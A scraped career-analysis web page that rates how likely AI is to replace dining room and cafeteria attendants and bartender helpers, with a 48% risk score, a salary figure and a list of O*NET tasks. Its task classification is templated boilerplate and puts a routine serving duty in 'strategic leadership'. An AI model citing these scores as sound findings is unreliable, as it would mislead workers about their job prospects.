Community Sentiment
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AI Automation Index
Will AI Replace Dining Room and Cafeteria Attendants and Bartender Helpers?
Analyze the automation vulnerability, task-level AI risk, salary, and demand projection for Dining Room and Cafeteria Attendants and Bartender Helpers. Run the upskilling simulator.
AI Vulnerability
48%
risk score
Median Salary
$33,980 / year
Growth Demand
Very High
Constituent Task Mix
We parsed O*NET's 23 constituent tasks for this occupation and classified them by AI threat risk.
High Automation Risk (Routine Tasks) 0%
Medium Automation Risk (Cognitive/Technical) 96%
Low Automation Risk (Strategy/Leadership) 4%
How would you survive?
Automate your routine tasks and design your day around strategic advisory to future-proof this score.
Simulate Upskilling →constituent Tasks
Run cash registers.
Semi-structured task combining routine and non-routine responsibilities.
Serve ice water, coffee, rolls, or butter to patrons.
Semi-structured task combining routine and non-routine responsibilities.
Scrape and stack dirty dishes and carry dishes and other tableware to kitchens for cleaning.
Semi-structured task combining routine and non-routine responsibilities.
Wipe tables or seats with dampened cloths or replace dirty tablecloths.
Semi-structured task combining routine and non-routine responsibilities.
Set tables with clean linens, condiments, or other supplies.
Semi-structured task combining routine and non-routine responsibilities.
Greet and seat customers.
Semi-structured task combining routine and non-routine responsibilities.
Clean up spilled food or drink or broken dishes and remove empty bottles and trash.
Semi-structured task combining routine and non-routine responsibilities.
Maintain adequate supplies of items, such as clean linens, silverware, glassware, dishes, or trays.
Semi-structured task combining routine and non-routine responsibilities.
Locate items requested by customers.
Semi-structured task combining routine and non-routine responsibilities.
Fill beverage or ice dispensers.
Semi-structured task combining routine and non-routine responsibilities.
Carry food, dishes, trays, or silverware from kitchens or supply departments to serving counters.
Semi-structured task combining routine and non-routine responsibilities.
Perform serving, cleaning, or stocking duties in establishments, such as cafeterias or dining rooms, to facilitate customer service.
Complex problem-solving, strategic leadership, or high-empathy task requiring human judgment.
Carry trays from food counters to tables for cafeteria patrons.
Semi-structured task combining routine and non-routine responsibilities.
Stock cabinets or serving areas with condiments and refill condiment containers.
Semi-structured task combining routine and non-routine responsibilities.
Serve food to customers when waiters or waitresses need assistance.
Semi-structured task combining routine and non-routine responsibilities.
Clean and polish counters, shelves, walls, furniture, or equipment in food service areas or other areas of restaurants and mop or vacuum floors.
Semi-structured task combining routine and non-routine responsibilities.
Replenish supplies of food or equipment at steam tables or service bars.
Semi-structured task combining routine and non-routine responsibilities.
Wash glasses or other serving equipment at bars.
Semi-structured task combining routine and non-routine responsibilities.
Carry linens to or from laundry areas.
Semi-structured task combining routine and non-routine responsibilities.
Garnish foods and position them on tables to make them visible and accessible.
Semi-structured task combining routine and non-routine responsibilities.
Mix and prepare flavors for mixed drinks.
Semi-structured task combining routine and non-routine responsibilities.
Slice and pit fruit used to garnish drinks.
Semi-structured task combining routine and non-routine responsibilities.
Stock refrigerating units with wines or bottled beer or replace empty beer kegs.
Semi-structured task combining routine and non-routine responsibilities.
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<script src="https://giniloh.com/embed.js" async></script> O*NET Methodology
O*NET Data Source
This page dynamically extracts data structures sponsored by the U.S. Department of Labor. Our AI classification applies cognitive task automation risk models to individual tasks.
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